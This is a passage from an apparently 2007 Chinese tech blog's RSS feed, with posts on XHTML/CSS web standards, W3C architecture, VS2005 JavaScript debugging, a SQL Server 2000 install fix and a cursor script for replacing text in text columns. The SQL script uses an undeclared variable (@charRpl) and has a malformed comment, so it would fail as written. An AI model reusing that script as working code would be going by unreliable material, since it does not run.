&lt;/font&gt;&lt;p&gt;对于我们初级改善来说，只要选用过渡型的声明就可以了。它依然可以兼容你的表格布局、表现标识等，不至于让你觉得变化太大，难以掌握。&lt;/p&gt;&lt;p&gt;Tip:你懒得输入上面过渡型代码的话，可以访问http://www.macromedia.com/网站的首页，然后查看源代码，把head区同样的代码拷贝粘贴就可以了。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;设定一个名字空间（Namespace）&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;直接在DOCTYPE声明后面添加如下代码：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;html XMLns=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot; &amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;一个namespace是收集元素类型和属性名字的一个详细的DTD，namespace声明允许你通过一个在线地址指向来识别你的namespace。只要照样输入代码就可以。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;声明你的编码语言&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;为了被浏览器正确解释和通过标识校验，所有的XHTML文档都必须声明它们所使用的编码语言。代码如下：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=GB2312&amp;quot; /&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;这里声明的编码语言是简体中文GB2312，你如果需要制作繁体内容，可以定义为BIG5。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;用小写字母书写所有的标签&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;XML对大小写是敏感的，所以，XHTML也是大小写有区别的。所有的XHTML元素和属性的名字都必须使用小写。否则你的文档将被W3C校验认为是无效的。例如下面的代码是不正确的：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;TITLE&amp;gt;公司简介&amp;lt;/TITLE&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;正确的写法是：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;title&amp;gt;公司简介&amp;lt;/title&amp;gt;&lt;/span&gt; 同样的，&amp;lt;P&amp;gt;改成&amp;lt;p&amp;gt;，&amp;lt;B&amp;gt;改成&amp;lt;b&amp;gt;等等。这步转换很简单。 &lt;/font&gt;&lt;ul&gt;    &lt;li&gt;为图片添加 alt 属性&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;为所有图片添加alt属性。alt属性指定了当图片不能显示的时候就显示供替换文本，这样做对正常用户可有可无，但对纯文本浏览器和使用屏幕阅读机的用户来说是至关重要的。只有添加了alt属性，代码才会被W3C正确性校验通过。注意的是我们要添加有意义的alt属性，象下面这样的写法毫无意义：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;img src=&amp;quot;logo_unc_120x30.gif&amp;quot; alt=&amp;quot;logo_unc_120x30.gif&amp;quot;&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;正确的写法：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;img src=&amp;quot;logo_unc_120x30.gif&amp;quot; alt=&amp;quot;UNC公司标志，点击返回首页&amp;quot;&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;ul&gt;    &lt;li&gt;给所有属性值加引号&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;在HTML中，你可以不需要给属性值加引号，但是在XHTML中，它们必须被加引号。&lt;/p&gt;&lt;p&gt;例：height=&amp;quot;100&amp;quot;，而不能是height=100。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;关闭所有的标签&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;在XHTML中，每一个打开的标签都必须关闭。就象这样：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;p&amp;gt;每一个打开的标签都必须关闭。&amp;lt;/p&amp;gt;&lt;/span&gt; &lt;span class="code"&gt;&amp;lt;b&amp;gt;HTML可以接受不关闭的标，XHTML就不可以。&amp;lt;/b&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;这个规则可以避免HTML的混乱和麻烦。举例来说：如果你不关闭图像标签，在一些浏览器中就可能出现CSS显示问题。用这种方法能确保页面和你设计的一样显示。需要说明的是：空标签也要关闭，在标签尾部使用一个正斜杠&amp;quot;/&amp;quot;来关闭它们自己。例如：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;br /&amp;gt;&lt;/span&gt; &lt;span class="code"&gt;&amp;lt;img src=&amp;quot;webstandards.gif&amp;quot; /&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;经过上述七个规则处理后，页面就基本符合XHTML1.0的要求。但我们还需要校验一下是否真的符合标准了。我们可以利用W3C提供免费校验服务（http://validator.w3.org/）。发现错误后逐个修改。在后面的资源列表中我们也提供了其他校验服务和对校验进行指导的网址，可以作为W3C校验的补充。当最后通过了XHTML验证，恭喜你已经向网站标准迈出了一大步。不是想象中的那么难吧！&lt;/p&gt;&lt;h4&gt;2．中级改善&lt;/h4&gt;&lt;p&gt;接下来我们的改善主要在结构和表现相分离上，这一步不象第一步那么容易实现，我们需要观念上的转变，以及对CSS2技术的学习和运用。但学习任何新知识都需要花点时间的，不是吗？诀窍在于边做边学。假如你一直采用表格布局，根本没用过 CSS，也不必急于跟表格布局说再见，你可以先用样式表代替 font 标签。随着你学到的越多，你能做的就越多。好，一起来看看我们需要做哪些事：&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;用CSS定义元素外观&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;我们在写标识时已经养成习惯，当希望字体大点就用&amp;lt;h1&amp;gt;，希望在前面加个点符号就用&amp;lt;li&amp;gt;。我们总是想&amp;lt;h1&amp;gt;的意思是大的，&amp;lt;li&amp;gt;的意思是圆点，&amp;lt;b&amp;gt;的意思是&amp;ldquo;加粗文本&amp;rdquo;。而实际上， &amp;lt;h1&amp;gt;能变成你想要的任何样子，通过CSS，&amp;lt;h1&amp;gt;能变成小的字体，&amp;lt;p&amp;gt;文本能够变成巨大的、粗体的，&amp;lt;li&amp;gt;能够变成一张图片等等。我们不能强迫用结构元素实现表现效果，我们应该使用CSS来确定那些元素的外观。例如，我们可以使原来默认的6级标题可以看起来大小一样：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;h1, h2, h3, h4, h5, h6{ font-family: 宋体, serif; font-size: 12px; }&lt;/span&gt; &lt;/font&gt;&lt;ul&gt;    &lt;li&gt;用结构化元素代替无意义的垃圾&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;许多人可能从来都不知道HTML和XHTML元素设计本意是用来表达结构的。我们很多人已经习惯用元素来控制表现，而不是结构。例如，一段列表内容可能会使用下面这样的标识：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;句子一&amp;lt;br /&amp;gt; 句子二&amp;lt;br /&amp;gt; 句子三&amp;lt;br /&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;如果我们采用一个无序列表代替会更好：&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;ul&amp;gt; &amp;lt;li&amp;gt;句子一&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;句子二&amp;lt;/li&amp;gt; &amp;lt;li&amp;gt;句子三&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;你或许会说&amp;ldquo;但是&amp;lt;li&amp;gt;显示的是一个圆点，我不想用圆点&amp;rdquo;。事实上，CSS没有设定元素看起来是什么样子，你完全可以用CSS关掉圆点。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;给每个表格和表单加上id&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;给表格或表单赋予一个唯一的、结构的标记，例如&lt;/p&gt;&lt;font color="#000000"&gt;&lt;span class="code"&gt;&amp;lt;table id=&amp;quot;menu&amp;quot;&amp;gt;&lt;/span&gt; &lt;/font&gt;&lt;p&gt;接下来，在书写样式表的时候，你就可以创建一个&amp;ldquo;menu&amp;rdquo;的选择器，并且关联一个CSS规则，用来告诉表格单元、文本标签和所有其他元素怎么去显示。这样，不需要对每个&amp;lt;td&amp;gt;标签附带一些多余的、占用带宽的表现层的高、宽、对齐和背景颜色等等属性。只需要一个附着的标记（标记&amp;ldquo;menu&amp;rdquo;的id标记），你就可以在一个分离的样式表内为干净的、紧凑的代码标记进行特别的表现层处理。&lt;/p&gt;&lt;p&gt;中级改善我们这里先列主要的三点，但其中包含的内容和知识点非常多，需要我们逐步学习和掌握，直到最后实现完全采用CSS而不才用任何表格实现布局。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=130</guid><pubDate>Fri, 02 Nov 2007 00:29:00 GMT</pubDate></item><item><title>[web2.0入门系列4]怎样才是符合web标准</title><link>http://www.chendw.cn:8080/view.aspx?id=129</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;h4&gt;怎样才是符合web标准?&lt;/h4&gt;&lt;p&gt;简单说就是不用HTML+table来设计页面，改用XHTML+CSS来实现。&lt;/p&gt;&lt;h4&gt;怎样是代码校验?&lt;/h4&gt;&lt;p&gt;代码校验就是检查你制作好的页面是否完全符合web标准。通常可以到&lt;a title="校验是否符合XHTML" rel="external" href="http://validator.w3.org/"&gt;W3C的网站&lt;/a&gt;去校验。&lt;/p&gt;&lt;h4&gt;什么是DocType,有什么用?&lt;/h4&gt;&lt;p&gt;DOCTYPE是document type(文档类型)的简写，用来说明你的网页是什么标识语言(XHTML或者HTML)是什么版本。&lt;/p&gt;&lt;h4&gt;我应该使用是么样的DOCTYPE?&lt;/h4&gt;&lt;p&gt;初次学习web标准的设计师推荐使用XHTML 1.0过渡式的DTD，代码如下：&lt;/p&gt;&lt;span twffan="done"&gt;&amp;lt;!DOCTYPE html PUBLIC &amp;quot;-//W3C//DTD XHTML 1.0 Transitional//EN&amp;quot; &amp;quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&amp;quot;&amp;gt;&lt;/span&gt;&lt;h4&gt;遵循web标准就不能使用表格了吗?&lt;/h4&gt;&lt;p&gt;可以使用表格。只是表格仅仅用于其本意：展示数据列表。而不允许使用表格排版和定位。&lt;/p&gt;&lt;h4&gt;遵循web标准可以使用Flash吗?&lt;/h4&gt;&lt;p&gt;可以。但是&amp;lt;embed&amp;gt;不允许使用。暂时只能采用js调用来通过W3C校验。&lt;/p&gt;&lt;h4&gt;不用表格可以制作出漂亮的页面布局吗?&lt;/h4&gt;&lt;p&gt;可以。CSS可以实现几乎所有用table实现的布局。参考成功网站:www.macromedia.com,www.mp3.com,www.blogger.com,www.espn.com&lt;/p&gt;&lt;h4&gt;有什么关于web标准好书推荐吗?&lt;/h4&gt;&lt;p&gt;web标准的概念和实践推荐Zeldman的《网站重构--用web标准进行设计》；CSS入门和进阶推荐Eric Meyer的《CSS权威指南》《More Eric Meyer on CSS》。&lt;/p&gt;&lt;h4&gt;CSS布局比表格难吗?&lt;/h4&gt;&lt;p&gt;这要看你怎么想了。变革和观念转换总是有困难的，你认为这个转变是值得的，那么你会发现CSS并不比表格难。&lt;/p&gt;&lt;h4&gt;表格布局是不是马上要淘汰了?&lt;/h4&gt;&lt;p&gt;不会。至少现在还有成千上万的(老的和新建的)网页依然使用表格布局。新技术的过渡和普及需要时间。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=129</guid><pubDate>Thu, 01 Nov 2007 08:35:00 GMT</pubDate></item><item><title>[web2.0入门系列3]使用标准的好处</title><link>http://www.chendw.cn:8080/view.aspx?id=128</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;h3&gt;为什么要建立网站标准　　&lt;/h3&gt;&lt;p&gt;我们大部分人都有深刻体验，每当主流浏览器版本的升级，我们刚建立的网站就可能变得过时，我们就需要升级或者重新建造一遍网站。例如1996-1999年典型的&amp;quot;浏览器大战&amp;quot;，为了兼容Netscape和IE，网站不得不为这两种浏览器写不同的代码。同样的，每当新的网络技术和交互设备的出现，我们也需要制作一个新版本来支持这种新技术或新设备，例如支持手机上网的WAP技术。类似的问题举不胜举：网站代码臃肿、繁杂浪费了我们大量的带宽；针对某种浏览器的DHTML特效，屏蔽了部分潜在的客户；不易用的代码，残障人士无法浏览网站等等。这是一种恶性循环，是一种巨大的浪费。&lt;/p&gt;&lt;p&gt;如何解决这些问题呢？有识之士早已开始思考，需要建立一种普遍认同的标准来结束这种无序和混乱。商业公司(Netscape、Microsoft等)也终于认识到统一标准的好处，因此在W3C（W3C.org）的组织下，网站标准开始被建立（1998年2月10日发布XML1.0为标志），并在网站标准组织（&lt;a title="链接到webstandards网站" rel="external" href="http://www.webstandards.org/"&gt;webstandards.org&lt;/a&gt;）的督促下推广执行。&lt;/p&gt;&lt;p&gt;简单说，网站标准的目的就是：&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;提供最多利益给最多的网站用户&lt;/li&gt;    &lt;li&gt;确保任何网站文挡都能够长期有效&lt;/li&gt;    &lt;li&gt;简化代码、降低建设成本&lt;/li&gt;    &lt;li&gt;让网站更容易使用，能适应更多不同用户和更多网路设备&lt;/li&gt;    &lt;li&gt;当浏览器版本更新，或者出现新的网络交互设备时，确保所有应用能够继续正确执行。&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;对于网站设计和开发人员来说，遵循网站标准就是使用标准；对于你的网站用户来说，网站标准就是最佳体验。&lt;/p&gt;&lt;h3&gt;采用网站标准的好处&lt;/h3&gt;&lt;p&gt;对网站浏览者的好处：&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;文件下载与页面显示速度更快；&lt;/li&gt;    &lt;li&gt;内容能被更多的用户所访问（包括失明、视弱、色盲等残障人士）；&lt;/li&gt;    &lt;li&gt;内容能被更广泛的设备所访问（包括屏幕阅读机、手持设备、搜索机器人、打印机、电冰箱等等）&lt;/li&gt;    &lt;li&gt;用户能够通过样式选择定制自己的表现界面&lt;/li&gt;    &lt;li&gt;所有页面都能提供适于打印的版本&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;对网站所有者的好处：&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;更少的代码和组件，容易维护&lt;/li&gt;    &lt;li&gt;带宽要求降低（代码更简洁），成本降低。举个例子：当 ESPN.com 使用 CSS改版后，每天节约超过两兆字节（terabytes）的带宽。&lt;/li&gt;    &lt;li&gt;更容易被搜寻引擎搜索到&lt;/li&gt;    &lt;li&gt;改版方便，不需要变动页面内容&lt;/li&gt;    &lt;li&gt;提供打印版本而不需要复制内容&lt;/li&gt;    &lt;li&gt;提高网站易用性。在美国，有严格的法律条款（Section 508）来约束政府网站必须达到一定的易用性，其他国家也有类似的要求。&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=128</guid><pubDate>Wed, 31 Oct 2007 08:53:00 GMT</pubDate></item><item><title>[web2.0入门系列2]什么是web标准</title><link>http://www.chendw.cn:8080/view.aspx?id=127</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;h3&gt;WEB标准&lt;/h3&gt;&lt;p&gt;WEB标准不是某一个标准，而是一系列标准的集合。网页主要由三部分组成：结构（Structure）、表现（Presentation）和行为（Behavior）。对应的标准也分三方面：结构化标准语言主要包括XHTML和XML，表现标准语言主要包括CSS，行为标准主要包括对象模型（如W3C DOM）、ECMAScript等。这些标准大部分由W3C起草和发布，也有一些是其他标准组织制订的标准，比如ECMA（European Computer Manufacturers Association）的ECMAScript标准。我们来简单了解一下这些标准：&lt;/p&gt;&lt;h4&gt;1．结构标准语言&lt;/h4&gt;&lt;p&gt;（1）XML &lt;/p&gt;&lt;p&gt;XML是The Extensible Markup Language(可扩展标识语言)的简写。目前推荐遵循的是W3C于2000年10月6日发布的XML1.0，参考（&lt;a title="链接到w3.org网站" rel="external" href="http://www.w3.org/TR/2000/REC-XML-20001006"&gt;www.w3.org/TR/2000/REC-XML-20001006&lt;/a&gt;）。和HTML一样，XML同样来源于SGML，但XML是一种能定义其他语言的语。XML最初设计的目的是弥补HTML的不足，以强大的扩展性满足网络信息发布的需要，后来逐渐用于网络数据的转换和描述。关于XML的好处和技术规范细节这里就不多说了，网上有很多资料，也有很多书籍可以参考。&lt;/p&gt;&lt;p&gt;（2）XHTML &lt;/p&gt;&lt;p&gt;XHTML是The Extensible HyperText Markup Language可扩展标识语言的缩写。目前推荐遵循的是W3C于2000年1月26日推荐XML1.0（参考http://www.w3.org/TR/xhtml1）。XML虽然数据转换能力强大，完全可以替代HTML，但面对成千上万已有的站点，直接采用XML还为时过早。因此，我们在HTML4.0的基础上，用XML的规则对其进行扩展，得到了XHTML。简单的说，建立XHTML的目的就是实现HTML向XML的过渡。&lt;/p&gt;&lt;h4&gt;2. 表现标准语言&lt;/h4&gt;&lt;p&gt;CSS是Cascading Style Sheets层叠样式表的缩写。目前推荐遵循的是W3C于1998年5月12日推荐CSS2（参考&lt;a title="链接到w3.org网站" rel="external" href="http://www.w3.org/TR/CSS2/"&gt;http://www.w3.org/TR/CSS2/&lt;/a&gt;）。W3C创建CSS标准的目的是以CSS取代HTML表格式布局、帧和其他表现的语言。纯CSS布局与结构式XHTML相结合能帮助设计师分离外观与结构，使站点的访问及维护更加容易。&lt;/p&gt;&lt;h4&gt;3.行为标准&lt;/h4&gt;&lt;p&gt;（1）DOM&lt;/p&gt;&lt;p&gt;DOM是Document Object Model文档对象模型的缩写。根据W3C DOM规范（&lt;a title="链接到w3.org网站" rel="external" href="http://www.w3.org/DOM/"&gt;http://www.w3.org/DOM/&lt;/a&gt;），DOM是一种与浏览器，平台，语言的接口，使得你可以访问页面其他的标准组件。简单理解，DOM解决了Netscaped的Javascript和Microsoft的Jscript之间的冲突，给予web设计师和开发者一个标准的方法，让他们来访问他们站点中的数据、脚本和表现层对像。&lt;/p&gt;&lt;p&gt;(2) ECMAScript&lt;/p&gt;&lt;p&gt;ECMAScript是ECMA(European Computer Manufacturers Association)制定的标准脚本语言（JAVAScript）。目前推荐遵循的是ECMAScript 262（&lt;a title="链接到ecma网站" rel="external" href="http://www.ecma.ch/ecma1/STAND/ECMA-262.HTM"&gt;http://www.ecma.ch/ecma1/STAND/ECMA-262.HTM&lt;/a&gt;）。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=127</guid><pubDate>Tue, 30 Oct 2007 05:01:00 GMT</pubDate></item><item><title>[web2.0入门系列1]w3c技术架构介绍</title><link>http://www.chendw.cn:8080/view.aspx?id=126</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;ul&gt;&lt;li&gt;原文：&lt;a target="_blank" href="http://www.w3.org/Consortium/technology"&gt;http://www.w3.org/Consortium/technology&lt;/a&gt; &lt;/li&gt;&lt;li&gt;原作者：&lt;a target="_blank" href="http://www.w3.org/"&gt;w3c&lt;/a&gt; &lt;/li&gt;&lt;li&gt;翻译：&lt;a target="_blank" href="mailto:ahong2004@gamil.com"&gt;阿宏&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;img height="347" width="600" src="http://www.ajaxw3c.com/images/w3c.png"&gt;&lt;/p&gt;&lt;p&gt;&lt;strong class="text"&gt;图例说明&lt;/strong&gt;&lt;br&gt;W3C技术架构图描绘了一个两层的模型：万维网体系结构（被标注为“One Web”）建立在互联网(Interner)体系结构之上。图中丰富的Web层显示了W3C关心的领域和发展的技术。　　&lt;/p&gt;&lt;p&gt;Web体系结构被描绘成一系列的层，每一层都建立在另一层之上。从底至顶依次为：&lt;/p&gt;&lt;p&gt;URI/IRI, HTTP &lt;br&gt;Web Architectural Principles &lt;br&gt;XML Infosets; RDF(S) Graphs &lt;br&gt;XML, Namespaces, Schemas, XQuery/XPath, XSLT, DOM, XML Base, XPointer, RDF/XML, SPARQL &lt;br&gt;在顶层包含着六个框，分别与W3C主要的活动组相对应：Web Applications, Mobile, Voice, Web Services, Semantic Web, and Privacy。&lt;/p&gt;&lt;p&gt;"Interaction"（“交互”）框中罗列着：XHTML, SVG, CDF, SMIL, XForms, CSS, 和 WCID. &lt;br&gt;"Mobile"（“移动”）框中罗列着 XHTML Basic, Mobile SVG, SMIL Mobile, XForms Basic, CSS Mobile, MWI BP. &lt;br&gt;"Voice"（“语音”）框中罗列着 VoiceXML, SRGS, SSML, CCXML, and EMMA &lt;br&gt;"Web Services"（“Web服务”）框中罗列着 SOAP, XOP, WSDL, WS-CDL, and WS-A. &lt;br&gt;"Semantic Web"（“语义的Web”）框中罗列着 OWL, SKOS, and RIF. &lt;br&gt;"Privacy"（“保密”）框中罗列着 P3P, APPEL, XML Encryption, XML Signature, and XKMS &lt;br&gt;一个橙色的横条把这些领域联系在一起：Web Accessibility（Web可访问性）, Internationalization（国际化）, Mobile Access（移动访问）, Device Independence（设备独立）, and Quality Assurance（质量保证）。&lt;/p&gt;&lt;p&gt;这个例图展示了万维网的基础框架及 W3C 的工作重点 。&lt;/p&gt;&lt;p&gt;URI、HTTP、XML 和 RDF 的基础支持著五个方面的工作。无障碍网页、国际化、设备无关和质量管理等主题已融入了 W3C 的各项技术之中。 &lt;/p&gt;&lt;p&gt;W3C正致力把万维网从最初的设计 (基本的 HTML、URIs 和 HTTP) 转变为未来所需的模式。 W3C 的技术将帮助未来万维网成为信息世界中有高稳定性、可提升和强适应性的基础框架。 &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=126</guid><pubDate>Tue, 30 Oct 2007 05:00:00 GMT</pubDate></item><item><title>[SQL SERVER]在 SqlServer 中替换 text 字段【只适合2000】</title><link>http://www.chendw.cn:8080/view.aspx?id=125</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;font color="#ff0000"&gt;只适合2000 2005的请查看我的另一篇博客：&lt;/font&gt;&lt;a href="http://hi.baidu.com/cdwm/blog/item/011749fba5075361024f566c.html"&gt;&lt;font color="#ff0000"&gt;http://hi.baidu.com/cdwm/blog/item/011749fba5075361024f566c.html&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  在 SqlServer 中 text、nText和image 是不允许使用 replace 函数替换其中的数据的，但有时我们不得不对已经存储在库中的数据进行这种批量的操作，若是使用ado 还是很容易处理的，但那样做效率未免太低，由其在数以万计的数据库中。下面是最近写的一段代码。贴上来供朋友们交流学习，也给自已存一份供以后回顾和参考。&lt;/p&gt;&lt;p&gt;--使用游标+循环替换Text或Ntext 类型字段中内容&lt;br&gt;DECLARE @id int,@ptr varbinary(16),@charStart int,@charIns varchar(8000)&lt;br&gt;DECLARE @charFin varchar(8000),@charWidth int,@charIdx int&lt;br&gt;DECLARE curArticle CURSOR FOR&lt;br&gt;select id,textptr(content) from articleTable&lt;/p&gt;&lt;p&gt;OPEN curArticle&lt;br&gt;select @charFin = '分辩率'&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  -更正错别字&lt;br&gt;select @charRpl = '分辨率'&lt;br&gt;select @charWidth = len(@charFin)&lt;br&gt;FETCH NEXT FROM curArticle&lt;br&gt;INTO @id,@ptr&lt;br&gt;WHILE @@FETCH_STATUS = 0&lt;br&gt;BEGIN&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  set @charStart = 0&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  while ( @charStart &amp;lt;&amp;gt; -1)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  BEGIN &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  select @charStart = charindex(@charFin,content,@charStart + 1)&amp;nbsp;&amp;nbsp;  from articleTable where id = @id&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  set @charIdx = @charStart - 1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  if (@charStart&amp;gt;0) &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  begin&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  updatetext articleTable.content @ptr @charIdx @charWidth @charRpl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  end&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  END&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  FETCH NEXT FROM curArticle&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  INTO @id,@ptr&lt;br&gt;END&lt;br&gt;CLOSE curArticle&lt;br&gt;DEALLOCATE curArticle&lt;/p&gt;&lt;p&gt;--因为Text 类型是以非 Unicode 形式存储数据&lt;br&gt;--所以此方法替换 Text 类型字段时会产生错位现象&lt;br&gt;--如果是用于存储中文或其它非英文字符最好使用 nText 类型&lt;/p&gt;&lt;p&gt;&lt;br&gt;文章来自: 本站原创&lt;br&gt;引用通告: 查看所有引用 | 我要引用此文章&lt;br&gt;Tags: CodeCode&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=125</guid><pubDate>Mon, 29 Oct 2007 01:42:00 GMT</pubDate></item><item><title>[JAVASCRIPT]vs2005 调试js</title><link>http://www.chendw.cn:8080/view.aspx?id=124</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;h1 class="block_title"&gt;&lt;font color="#800080" size="3"&gt;vs2005 调试js&lt;/font&gt;&lt;/h1&gt;&lt;div class="post"&gt;&lt;div class="postcontent"&gt;&lt;p&gt;第一步：在IE的“Internet设置”中选择“高级”——“安全”——“启用集成windows身份验证”(这一步很重要!!!)&lt;br&gt;第二步：同样在“Internet设置”中把“禁止脚本调试”的勾去掉&lt;br&gt;第三步：用调试模式启动程序()&lt;br&gt;第四步：在vs2005的菜单选择“debug”——“Windows”——“Script Explorer”（脚本资源管理器）&lt;br&gt;第五步：在“Script Explorer”窗口中双击要调试的页面&lt;br&gt;第六步：在该文档中需要的脚本开始调试的位置设置断点&lt;br&gt;第七步：自己操作，令程序运行到断点处，余下的就是调试程序了&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=124</guid><pubDate>Sat, 27 Oct 2007 10:55:00 GMT</pubDate></item><item><title>解决sql2000挂起无法安装的问题</title><link>http://www.chendw.cn:8080/view.aspx?id=123</link><description>&lt;div id="blog_text" class="cnt"&gt;
&lt;p&gt;&lt;span class="tpc_content"&gt;&lt;span style="font-size: medium;"&gt;关于：以前的某个程序安装已在安装计算机上创建挂起的文件操作解决办法&lt;br /&gt;以前装过sql server，后来删掉。现在重装，却出现&amp;ldquo;以前的某个程序安装已在安装计算机上创建挂起的文件操作。运行安装程序之前必须重新启动计算机&amp;rdquo;错误。无法进行下去。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="tpc_content"&gt;&lt;span style="font-size: medium;"&gt;&lt;span class="tpc_content"&gt;&lt;span style="font-size: medium;"&gt;可直接下载 &lt;a href="http://www.gd.xdowns.com/uploadFile/2007-6/SQLup.rar" target="_blank"&gt;&lt;span style="color: #ff0000;"&gt;清除工具&lt;/span&gt;&lt;/a&gt; 或者按下面步骤&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="tpc_content"&gt;&lt;span style="font-size: medium;"&gt;&lt;a href="http://www.gd.xdowns.com/uploadFile/2007-6/SQLup.rar" target="_blank"&gt;&lt;br /&gt;&lt;/a&gt;1）添加/删除程序中彻底删除sql server。&lt;br /&gt;2）将没有删除的sql server目录也删除掉。&lt;br /&gt;3）打开注册表编辑器，在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager中找到PendingFileRenameOperations项目，并删除它。这样就可以清除安装暂挂项目。&lt;br /&gt;4）删除注册表中跟sql server相关的键。&lt;br /&gt;其实只要做第3步就可以搞定，这样就可以清除安装暂挂项目。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
